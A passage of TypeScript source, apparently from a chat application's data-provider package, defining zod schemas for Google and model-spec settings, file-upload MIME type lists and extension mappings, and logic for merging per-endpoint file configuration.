defaults.model.default,\n chatGptLabel: null,\n promptPrefix: null,\n temperature: defaults.temperature.default,\n top_p: defaults.top_p.default,\n presence_penalty: defaults.presence_penalty.default,\n frequency_penalty: defaults.frequency_penalty.default,\n resendFiles: defaults.resendFiles.default,\n imageDetail: defaults.imageDetail.default,\n maxContextTokens: undefined,\n }));\n};\n\nexport const generateGoogleSchema = (customGoogle: GoogleSettings) => {\n const defaults = { ...google, ...customGoogle };\n return tConversationSchema\n .pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n maxContextTokens: true,\n })\n .transform((obj) => {\n return {\n ...obj,\n model: obj.model ?? defaults.model.default,\n modelLabel: obj.modelLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n examples: obj.examples ?? [{ input: { content: '' }, output: { content: '' } }],\n temperature: obj.temperature ?? defaults.temperature.default,\n maxOutputTokens: obj.maxOutputTokens ?? defaults.maxOutputTokens.default,\n topP: obj.topP ?? defaults.topP.default,\n topK: obj.topK ?? defaults.topK.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n };\n })\n .catch(() => ({\n model: defaults.model.default,\n modelLabel: null,\n promptPrefix: null,\n examples: [{ input: { content: '' }, output: { content: '' } }],\n temperature: defaults.temperature.default,\n maxOutputTokens: defaults.maxOutputTokens.default,\n topP: defaults.topP.default,\n topK: defaults.topK.default,\n maxContextTokens: undefined,\n }));\n};\n","import { z } from 'zod';\nimport type { TModelSpecPreset } from './schemas';\nimport {\n EModelEndpoint,\n tModelSpecPresetSchema,\n eModelEndpointSchema,\n AuthType,\n authTypeSchema,\n} from './schemas';\n\nexport type TModelSpec = {\n name: string;\n label: string;\n preset: TModelSpecPreset;\n order?: number;\n default?: boolean;\n description?: string;\n /**\n * Optional group name for organizing specs in the UI selector.\n * - If it matches an endpoint name (e.g., \"openAI\", \"groq\"), the spec appears nested under that endpoint\n * - If it's a custom name (doesn't match any endpoint), it creates a separate collapsible group\n * - If omitted, the spec appears as a standalone item at the top level\n */\n group?: string;\n /**\n * Optional icon URL for the group this spec belongs to.\n * Only needs to be set on one spec per group - the first one found with a groupIcon will be used.\n * Can be a URL or an endpoint name to use its icon.\n */\n groupIcon?: string | EModelEndpoint;\n showIconInMenu?: boolean;\n showIconInHeader?: boolean;\n iconURL?: string | EModelEndpoint; // Allow using project-included icons\n authType?: AuthType;\n webSearch?: boolean;\n fileSearch?: boolean;\n executeCode?: boolean;\n artifacts?: string | boolean;\n mcpServers?: string[];\n};\n\nexport const tModelSpecSchema = z.object({\n name: z.string(),\n label: z.string(),\n preset: tModelSpecPresetSchema,\n order: z.number().optional(),\n default: z.boolean().optional(),\n description: z.string().optional(),\n group: z.string().optional(),\n groupIcon: z.union([z.string(), eModelEndpointSchema]).optional(),\n showIconInMenu: z.boolean().optional(),\n showIconInHeader: z.boolean().optional(),\n iconURL: z.union([z.string(), eModelEndpointSchema]).optional(),\n authType: authTypeSchema.optional(),\n webSearch: z.boolean().optional(),\n fileSearch: z.boolean().optional(),\n executeCode: z.boolean().optional(),\n artifacts: z.union([z.string(), z.boolean()]).optional(),\n mcpServers: z.array(z.string()).optional(),\n});\n\nexport const specsConfigSchema = z.object({\n enforce: z.boolean().default(false),\n prioritize: z.boolean().default(true),\n list: z.array(tModelSpecSchema).min(1),\n addedEndpoints: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n});\n\nexport type TSpecsConfig = z.infer<typeof specsConfigSchema>;\n","import { z } from 'zod';\nimport type { EndpointFileConfig, FileConfig } from './types/files';\nimport { EModelEndpoint, isAgentsEndpoint, isDocumentSupportedProvider } from './schemas';\nimport { normalizeEndpointName } from './utils';\n\nexport const supportsFiles = {\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.google]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.bedrock]: true,\n};\n\nexport const excelFileTypes = [\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls',\n 'application/x-xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n];\n\nexport const fullMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'text/vtt',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/x-sh',\n 'application/typescript',\n 'application/sql',\n 'application/yaml',\n 'application/vnd.coffeescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n 'application/vnd.oasis.opendocument.text',\n 'application/vnd.oasis.opendocument.spreadsheet',\n 'application/vnd.oasis.opendocument.presentation',\n 'application/vnd.oasis.opendocument.graphics',\n 'image/svg',\n 'image/svg+xml',\n // Video formats\n 'video/mp4',\n 'video/avi',\n 'video/mov',\n 'video/wmv',\n 'video/flv',\n 'video/webm',\n 'video/mkv',\n 'video/m4v',\n 'video/3gp',\n 'video/ogv',\n // Audio formats\n 'audio/mp3',\n 'audio/wav',\n 'audio/ogg',\n 'audio/m4a',\n 'audio/aac',\n 'audio/flac',\n 'audio/wma',\n 'audio/opus',\n 'audio/mpeg',\n ...excelFileTypes,\n];\n\nexport const codeInterpreterMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/typescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n ...excelFileTypes,\n];\n\nexport const retrievalMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n];\n\nexport const imageExtRegex = /\\.(jpg|jpeg|png|gif|webp|heic|heif)$/i;\n\n/** @see https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_DocumentBlock.html */\nexport type BedrockDocumentFormat =\n | 'pdf'\n | 'csv'\n | 'doc'\n | 'docx'\n | 'xls'\n | 'xlsx'\n | 'html'\n | 'txt'\n | 'md';\n\n/** Maps MIME types to Bedrock Converse API document format values */\nexport const bedrockDocumentFormats: Record<string, BedrockDocumentFormat> = {\n 'application/pdf': 'pdf',\n 'text/csv': 'csv',\n 'application/csv': 'csv',\n 'application/msword': 'doc',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 'docx',\n 'application/vnd.ms-excel': 'xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 'xlsx',\n 'text/html': 'html',\n 'text/plain': 'txt',\n 'text/markdown': 'md',\n};\n\nexport const isBedrockDocumentType = (mimeType?: string): boolean =>\n mimeType != null && mimeType in bedrockDocumentFormats;\n\n/** File extensions accepted by Bedrock document uploads (for input accept attributes) */\nexport const bedrockDocumentExtensions =\n '.pdf,.csv,.doc,.docx,.xls,.xlsx,.html,.htm,.txt,.md,application/pdf,text/csv,application/csv,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,text/html,text/plain,text/markdown';\n\nexport const excelMimeTypes =\n /^application\\/(vnd\\.ms-excel|msexcel|x-msexcel|x-ms-excel|x-excel|x-dos_ms_excel|xls|x-xls|vnd\\.openxmlformats-officedocument\\.spreadsheetml\\.sheet)$/;\n\nexport const textMimeTypes =\n /^(text\\/(x-c|x-csharp|tab-separated-values|x-c\\+\\+|x-h|x-java|html|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|css|vtt|javascript|csv|xml))$/;\n\nexport const applicationMimeTypes =\n /^(application\\/(epub\\+zip|csv|json|msword|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\\.apache\\.parquet|vnd\\.coffeescript|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation|spreadsheetml\\.sheet)|vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)|xml|zip))$/;\n\nexport const imageMimeTypes = /^image\\/(jpeg|gif|png|webp|heic|heif)$/;\n\nexport const audioMimeTypes =\n /^audio\\/(mp3|mpeg|mpeg3|wav|wave|x-wav|ogg|vorbis|mp4|m4a|x-m4a|flac|x-flac|webm|aac|wma|opus)$/;\n\nexport const videoMimeTypes = /^video\\/(mp4|avi|mov|wmv|flv|webm|mkv|m4v|3gp|ogv)$/;\n\nexport const defaultOCRMimeTypes = [\n imageMimeTypes,\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)$/,\n /^application\\/vnd\\.ms-(word|powerpoint)$/,\n /^application\\/epub\\+zip$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)$/,\n];\n\n/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods/odt) */\nexport const documentParserMimeTypes = [\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.wordprocessingml\\.document$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.spreadsheet$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.text$/,\n];\n\nexport const defaultTextMimeTypes = [/^[\\w.-]+\\/[\\w.-]+$/];\n\nexport const defaultSTTMimeTypes = [audioMimeTypes];\n\nexport const supportedMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n videoMimeTypes,\n audioMimeTypes,\n /** Supported by LC Code Interpreter API */\n /^image\\/(svg|svg\\+xml)$/,\n];\n\nexport const codeInterpreterMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n];\n\nexport const codeTypeMapping: { [key: string]: string } = {\n c: 'text/x-c', // .c - C source\n cs: 'text/x-csharp', // .cs - C# source\n cpp: 'text/x-c++', // .cpp - C++ source\n h: 'text/x-h', // .h - C/C++ header\n md: 'text/markdown', // .md - Markdown\n php: 'text/x-php', // .php - PHP source\n py: 'text/x-python', // .py - Python source\n rb: 'text/x-ruby', // .rb - Ruby source\n tex: 'text/x-tex', // .tex - LaTeX source\n java: 'text/x-java', // .java - Java source\n js: 'text/javascript', // .js - JavaScript source\n sh: 'application/x-sh', // .sh - Shell script\n ts: 'application/typescript', // .ts - TypeScript source\n tar: 'application/x-tar', // .tar - Tar archive\n zip: 'application/zip', // .zip - ZIP archive\n txt: 'text/plain', // .txt - Plain text file\n log: 'text/plain', // .log - Log file\n csv: 'text/csv', // .csv - Comma-separated values\n tsv: 'text/tab-separated-values', // .tsv - Tab-separated values\n parquet: 'application/x-parquet', // .parquet - Apache Parquet columnar storage\n json: 'application/json', // .json - JSON file\n xml: 'application/xml', // .xml - XML file\n html: 'text/html', // .html - HTML file\n htm: 'text/html', // .htm - HTML file\n css: 'text/css', // .css - CSS file\n yml: 'application/yaml', // .yml - YAML\n yaml: 'application/yaml', // .yaml - YAML\n sql: 'application/sql', // .sql - SQL (IANA registered)\n dart: 'text/plain', // .dart - Dart source\n coffee: 'application/vnd.coffeescript', // .coffee - CoffeeScript (IANA registered)\n go: 'text/plain', // .go - Go source\n rs: 'text/plain', // .rs - Rust source\n swift: 'text/plain', // .swift - Swift source\n kt: 'text/plain', // .kt - Kotlin source\n kts: 'text/plain', // .kts - Kotlin script\n scala: 'text/plain', // .scala - Scala source\n lua: 'text/plain', // .lua - Lua source\n r: 'text/plain', // .r - R source\n pl: 'text/plain', // .pl - Perl source\n pm: 'text/plain', // .pm - Perl module\n groovy: 'text/plain', // .groovy - Groovy source\n gradle: 'text/plain', // .gradle - Gradle build script\n clj: 'text/plain', // .clj - Clojure source\n cljs: 'text/plain', // .cljs - ClojureScript source\n cljc: 'text/plain', // .cljc - Clojure common source\n elm: 'text/plain', // .elm - Elm source\n erl: 'text/plain', // .erl - Erlang source\n hrl: 'text/plain', // .hrl - Erlang header\n ex: 'text/plain', // .ex - Elixir source\n exs: 'text/plain', // .exs - Elixir script\n hs: 'text/plain', // .hs - Haskell source\n lhs: 'text/plain', // .lhs - Literate Haskell source\n ml: 'text/plain', // .ml - OCaml source\n mli: 'text/plain', // .mli - OCaml interface\n fs: 'text/plain', // .fs - F# source\n fsx: 'text/plain', // .fsx - F# script\n lisp: 'text/plain', // .lisp - Lisp source\n cl: 'text/plain', // .cl - Common Lisp source\n scm: 'text/plain', // .scm - Scheme source\n rkt: 'text/plain', // .rkt - Racket source\n jsx: 'text/plain', // .jsx - React JSX\n tsx: 'text/plain', // .tsx - React TSX\n vue: 'text/plain', // .vue - Vue component\n svelte: 'text/plain', // .svelte - Svelte component\n astro: 'text/plain', // .astro - Astro component\n scss: 'text/plain', // .scss - SCSS source\n sass: 'text/plain', // .sass - Sass source\n less: 'text/plain', // .less - Less source\n styl: 'text/plain', // .styl - Stylus source\n toml: 'text/plain', // .toml - TOML config\n ini: 'text/plain', // .ini - INI config\n cfg: 'text/plain', // .cfg - Config file\n conf: 'text/plain', // .conf - Config file\n env: 'text/plain', // .env - Environment file\n properties: 'text/plain', // .properties - Java properties\n graphql: 'text/plain', // .graphql - GraphQL schema/query\n gql: 'text/plain', // .gql - GraphQL schema/query\n proto: 'text/plain', // .proto - Protocol Buffers\n dockerfile: 'text/plain', // Dockerfile\n makefile: 'text/plain', // Makefile\n cmake: 'text/plain', // .cmake - CMake script\n rake: 'text/plain', // .rake - Rake task\n gemspec: 'text/plain', // .gemspec - Ruby gem spec\n bash: 'text/plain', // .bash - Bash script\n zsh: 'text/plain', // .zsh - Zsh script\n fish: 'text/plain', // .fish - Fish script\n ps1: 'text/plain', // .ps1 - PowerShell script\n psm1: 'text/plain', // .psm1 - PowerShell module\n bat: 'text/plain', // .bat - Batch script\n cmd: 'text/plain', // .cmd - Windows command script\n asm: 'text/plain', // .asm - Assembly source\n s: 'text/plain', // .s - Assembly source\n v: 'text/plain', // .v - V or Verilog source\n zig: 'text/plain', // .zig - Zig source\n nim: 'text/plain', // .nim - Nim source\n cr: 'text/plain', // .cr - Crystal source\n d: 'text/plain', // .d - D source\n pas: 'text/plain', // .pas - Pascal source\n pp: 'text/plain', // .pp - Pascal/Puppet source\n f90: 'text/plain', // .f90 - Fortran 90 source\n f95: 'text/plain', // .f95 - Fortran 95 source\n f03: 'text/plain', // .f03 - Fortran 2003 source\n jl: 'text/plain', // .jl - Julia source\n m: 'text/plain', // .m - Objective-C/MATLAB source\n mm: 'text/plain', // .mm - Objective-C++ source\n ada: 'text/plain', // .ada - Ada source\n adb: 'text/plain', // .adb - Ada body\n ads: 'text/plain', // .ads - Ada spec\n cob: 'text/plain', // .cob - COBOL source\n cbl: 'text/plain', // .cbl - COBOL source\n tcl: 'text/plain', // .tcl - Tcl source\n awk: 'text/plain', // .awk - AWK script\n sed: 'text/plain', // .sed - Sed script\n odt: 'application/vnd.oasis.opendocument.text', // .odt - OpenDocument Text\n ods: 'application/vnd.oasis.opendocument.spreadsheet', // .ods - OpenDocument Spreadsheet\n odp: 'application/vnd.oasis.opendocument.presentation', // .odp - OpenDocument Presentation\n odg: 'application/vnd.oasis.opendocument.graphics', // .odg - OpenDocument Graphics\n};\n\n/** Maps image extensions to MIME types for formats browsers may not recognize */\nexport const imageTypeMapping: { [key: string]: string } = {\n heic: 'image/heic',\n heif: 'image/heif',\n};\n\n/** Normalizes non-standard MIME types that browsers may report to their canonical forms */\nexport const mimeTypeAliases: Readonly<Record<string, string>> = {\n 'text/x-python-script': 'text/x-python',\n};\n\n/**\n * Infers the MIME type from a file's extension when the browser doesn't recognize it,\n * and normalizes known non-standard MIME type aliases to their canonical forms.\n * @param fileName - The file name including its extension\n * @param currentType - The MIME type reported by the browser (may be empty string)\n * @returns The normalized or inferred MIME type; empty string if unresolvable\n */\nexport function inferMimeType(fileName: string, currentType: string): string {\n if (currentType) {\n return mimeTypeAliases[currentType] ?? currentType;\n }\n\n const extension = fileName.split('.').pop()?.toLowerCase() ?? '';\n return codeTypeMapping[extension] || imageTypeMapping[extension] || currentType;\n}\n\nexport const retrievalMimeTypes = [\n /^(text\\/(x-c|x-c\\+\\+|x-h|html|x-java|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|vtt|xml))$/,\n /^(application\\/(json|pdf|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)))$/,\n];\n\nexport const megabyte = 1024 * 1024;\n/** Helper function to get megabytes value */\nexport const mbToBytes = (mb: number): number => mb * megabyte;\n\nconst defaultSizeLimit = mbToBytes(512);\nconst defaultTokenLimit = 100000;\nconst assistantsFileConfig = {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n};\n\nexport const fileConfig = {\n endpoints: {\n [EModelEndpoint.assistants]: assistantsFileConfig,\n [EModelEndpoint.azureAssistants]: assistantsFileConfig,\n [EModelEndpoint.agents]: assistantsFileConfig,\n [EModelEndpoint.anthropic]: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n default: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n },\n serverFileSizeLimit: defaultSizeLimit,\n avatarSizeLimit: mbToBytes(2),\n fileTokenLimit: defaultTokenLimit,\n clientImageResize: {\n enabled: false,\n maxWidth: 1900,\n maxHeight: 1900,\n quality: 0.92,\n },\n ocr: {\n supportedMimeTypes: defaultOCRMimeTypes,\n },\n text: {\n supportedMimeTypes: defaultTextMimeTypes,\n },\n stt: {\n supportedMimeTypes: defaultSTTMimeTypes,\n },\n checkType: function (fileType: string, supportedTypes: RegExp[] = supportedMimeTypes) {\n return supportedTypes.some((regex) => regex.test(fileType));\n },\n};\n\nconst supportedMimeTypesSchema = z\n .array(z.any())\n .optional()\n .refine(\n (mimeTypes) => {\n if (!mimeTypes) {\n return true;\n }\n return mimeTypes.every(\n (mimeType) => mimeType instanceof RegExp || typeof mimeType === 'string',\n );\n },\n {\n message: 'Each mimeType must be a string or a RegExp object.',\n },\n );\n\nexport const endpointFileConfigSchema = z.object({\n disabled: z.boolean().optional(),\n fileLimit: z.number().min(0).optional(),\n fileSizeLimit: z.number().min(0).optional(),\n totalSizeLimit: z.number().min(0).optional(),\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n});\n\nexport const fileConfigSchema = z.object({\n endpoints: z.record(endpointFileConfigSchema).optional(),\n serverFileSizeLimit: z.number().min(0).optional(),\n avatarSizeLimit: z.number().min(0).optional(),\n fileTokenLimit: z.number().min(0).optional(),\n imageGeneration: z\n .object({\n percentage: z.number().min(0).max(100).optional(),\n px: z.number().min(0).optional(),\n })\n .optional(),\n clientImageResize: z\n .object({\n enabled: z.boolean().optional(),\n maxWidth: z.number().min(0).optional(),\n maxHeight: z.number().min(0).optional(),\n quality: z.number().min(0).max(1).optional(),\n })\n .optional(),\n ocr: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n text: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n});\n\nexport type TFileConfig = z.infer<typeof fileConfigSchema>;\n\n/** Helper function to safely convert string patterns to RegExp objects */\nexport const convertStringsToRegex = (patterns: string[]): RegExp[] =>\n patterns.reduce((acc: RegExp[], pattern) => {\n try {\n const regex = new RegExp(pattern);\n acc.push(regex);\n } catch (error) {\n console.error(`Invalid regex pattern \"${pattern}\" skipped.`, error);\n }\n return acc;\n }, []);\n\n/**\n * Gets the appropriate endpoint file configuration with standardized lookup logic.\n *\n * @param params - Object containing fileConfig, endpoint, and optional conversationEndpoint\n * @param params.fileConfig - The merged file configuration\n * @param params.endpoint - The endpoint name to look up\n * @param params.conversationEndpoint - Optional conversation endpoint for additional context\n * @returns The endpoint file configuration or undefined\n */\n/**\n * Merges an endpoint config with the default config to ensure all fields are populated.\n * For document-supported providers, uses the comprehensive MIME type list (includes videos/audio).\n */\nfunction mergeWithDefault(\n endpointConfig: EndpointFileConfig,\n defaultConfig: EndpointFileConfig,\n endpoint?: string | null,\n): EndpointFileConfig {\n /** Use comprehensive MIME types for document-supported providers */\n const defaultMimeTypes = isDocumentSupportedProvider(endpoint)\n ? supportedMimeTypes\n : defaultConfig.supportedMimeTypes;\n\n return {\n disabled: endpointConfig.disabled ?? defaultConfig.disabled,\n fileLimit: endpointConfig.fileLimit ?? defaultConfig.fileLimit,\n fileSizeLimit: endpointConfig.fileSizeLimit ?? defaultConfig.fileSizeLimit,\n totalSizeLimit: endpointConfig.totalSizeLimit ?? defaultConfig.totalSizeLimit,\n supportedMimeTypes: endpointConfig.supportedMimeTypes ?? defaultMimeTypes,\n };\n}\n\nexport function getEndpointFileConfig(params: {\n fileConfig?: FileConfig | null;\n endpoint?: string | null;\n endpointType?: string | null;\n}): EndpointFileConfig {\n const { fileConfig: mergedFileConfig, endpoint, endpointType } = params;\n\n if (!mergedFileConfig?.endpoints) {\n return fileConfig.endpoints.default;\n }\n\n /** Compute an effective default by merging user-configured default over the base default */\n const baseDefaultConfig = fileConfig.endpoints.default;\n const userDefaultConfig = mergedFileConfig.endpoints.default;\n const defaultConfig = userDefaultConfig\n ? mergeWithDefault(userDefaultConfig, baseDefaultConfig, 'default')\n : baseDefaultConfig;\n\n const normalizedEndpoint = normalizeEndpointName(endpoint ?? '');\n const standardEndpoints = new Set([\n 'default',\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.bedrock,\n ]);\n\n const normalizedEndpointType = normalizeEndpointName(endpointType ?? '');\n const isCustomEndpoint =\n endpointType === EModelEndpoint.custom ||\n (!standardEndpoints.has(normalizedEndpointType) &&\n normalizedEndpoint &&\n !standardEndpoints.has(normalizedEndpoint));\n\n if (isCustomEndpoint) {\n /** 1. Check direct endpoint lookup (could be normalized or not) */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n /** 2. Check normalized endpoint lookup (skip standard endpoint keys) */\n for (const key in mergedFileConfig.endpoints) {\n if (!standardEndpoints.has(key) && normalizeEndpointName(key) === normalizedEndpoint) {\n return mergeWithDefault(mergedFileConfig.endpoints[key], defaultConfig, key);\n }\n }\n /** 3. Fallback to generic 'custom' config if any */\n if (mergedFileConfig.endpoints[EModelEndpoint.custom]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.custom],\n defaultConfig,\n endpoint,\n );\n }\n /** 4. Fallback to 'agents' (all custom endpoints are non-assistants) */\n if (mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n endpoint,\n );\n }\n /** 5. Fallback to default */\n return defaultConfig;\n }\n\n /** Check endpointType first (most reliable for standard endpoints) */\n if (endpointType && mergedFileConfig.endpoints[endpointType]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpointType], defaultConfig, endpointType);\n }\n\n /** Check direct endpoint lookup */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n\n /** Check normalized endpoint */\n if (normalizedEndpoint && mergedFileConfig.endpoints[normalizedEndpoint]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[normalizedEndpoint],\n defaultConfig,\n normalizedEndpoint,\n );\n }\n\n /** Fallback to agents if endpoint is explicitly agents */\n const isAgents = isAgentsEndpoint(normalizedEndpointType || normalizedEndpoint);\n if (isAgents && mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n EModelEndpoint.agents,\n );\n }\n\n /** Return default config */\n return defaultConfig;\n}\n\nexport function mergeFileConfig(dynamic: z.infer<typeof fileConfigSchema> | undefined): FileConfig {\n const mergedConfig: FileConfig = {\n ...fileConfig,\n endpoints: {\n ...fileConfig.endpoints,\n },\n ocr: {\n ...fileConfig.ocr,\n supportedMimeTypes: fileConfig.ocr?.supportedMimeTypes || [],\n },\n text: {\n ...fileConfig.text,\n supportedMimeTypes: fileConfig.text?.supportedMimeTypes || [],\n },\n stt: {\n ...fileConfig.stt,\n supportedMimeTypes: fileConfig.stt?.supportedMimeTypes || [],\n },\n };\n if (!dynamic) {\n return mergedConfig;\n }\n\n if (dynamic.serverFileSizeLimit !== undefined) {\n mergedConfig.serverFileSizeLimit = mbToBytes(dynamic.serverFileSizeLimit);\n }\n\n if (dynamic.avatarSizeLimit !== undefined) {\n mergedConfig.avatarSizeLimit = mbToBytes(dynamic.avatarSizeLimit);\n }\n\n if (dynamic.fileTokenLimit !== undefined) {\n mergedConfig.fileTokenLimit = dynamic.fileTokenLimit;\n }\n\n // Merge clientImageResize configuration\n if (dynamic.clientImageResize !== undefined) {\n mergedConfig.clientImageResize = {\n ...mergedConfig.clientImageResize,\n ...dynamic.clientImageResize,\n };\n }\n\n if (dynamic.ocr !== undefined) {\n mergedConfig.ocr = {\n ...mergedConfig.ocr,\n ...dynamic.ocr,\n };\n if (dynamic.ocr.supportedMimeTypes) {\n mergedConfig.ocr.supportedMimeTypes = convertStringsToRegex(dynamic.ocr.supportedMimeTypes);\n }\n }\n\n if (dynamic.text !== undefined) {\n mergedConfig.text = {\n ...mergedConfig.text,\n ...dynamic.text,\n };\n if (dynamic.text.supportedMimeTypes) {\n mergedConfig.text.supportedMimeTypes = convertStringsToRegex(dynamic.text.supportedMimeTypes);\n }\n }\n\n if (!dynamic.endpoints) {\n return mergedConfig;\n }\n\n for (const key in dynamic.endpoints) {\n const dynamicEndpoint = (dynamic.endpoints as Record<string, EndpointFileConfig>)[key];\n\n /** Deep copy the base endpoint config if it exists to prevent mutation */\n if (!mergedConfig.endpoints[key]) {\n mergedConfig.endpoints[key] = {};\n } else {\n mergedConfig.endpoints[key] = { ...mergedConfig.endpoints[key] };\n }\n\n const mergedEndpoint = mergedConfig.endpoints[key];\n\n if (dynamicEndpoint.disabled === true) {\n mergedEndpoint.disabled = true;\n mergedEndpoint.fileLimit = 0;\n mergedEndpoint.fileSizeLimit = 0;\n mergedEndpoint.totalSizeLimit = 0;\n mergedEndpoint.supportedMimeTypes = [];\n continue;\n }\n\n if (dynamicEndpoint.fileSizeLimit !== undefined) {\n mergedEndpoint.fileSizeLimit = mbToBytes(dynamicEndpoint.fileSizeLimit);\n }\n\n if (dynamicEndpoint.totalSizeLimit !== undefined) {\n mergedEndpoint.totalSizeLimit = mbToBytes(dynamicEndpoint.totalSizeLimit);\n }\n\n const configKeys = ['fileLimit'] as const;\n configKeys.forEach((field) => {\n if (dynamicEndpoint[field] !== undefined) {\n mergedEndpoint[field] = dynamicEndpoint[field];\n }\n });\n\n if (dynamicEndpoint.disabled !== undefined) {\n mergedEndpoint.disabled = dynamicEndpoint.disabled;\n }\n\n if (dynamicEndpoint.supportedMimeTypes) {\n mergedEndpoint.supportedMimeTypes = convertStringsToRegex(\n dynamicEndpoint.supportedMimeTypes as unknown as string[],\n );\n }\n }\n\n return mergedConfig;\n}\n","import type { AssistantsEndpoint } from './schemas';\nimport * as q from './types/queries';\nimport { ResourceType } from './accessPermissions';\n\nlet BASE_URL = '';\nif (\n typeof process === 'undefined' ||\n (process as typeof process & { browser?: boolean }).browser === true\n) {\n // process is only available in node context, or process.browser is true in client-side code\n // This is to ensure that the BASE_URL is set correctly based on the <base>\n // element in the HTML document, if it exists.\n const baseEl = document.querySelector('base');\n BASE_URL = baseEl?.getAttribute('href') || '/';\n}\n\nif (BASE_URL && BASE_URL.endsWith('/')) {\n BASE_URL = BASE_URL.slice(0, -1);\n}\n\nexport const apiBaseUrl = () => BASE_URL;\n\n// Testing this buildQuery function\nconst buildQuery = (params: Record<string, unknown>): string => {\n const query = Object.entries(params)\n .filter(([, value]) => {\n if (Array.isArray(value)) {\n return value.length > 0;\n }\n return value !== undefined && value !== null && value !== '';\n })\n .map(([key, value]) => {\n if (Array.isArray(value)) {\n return value.map((v) => 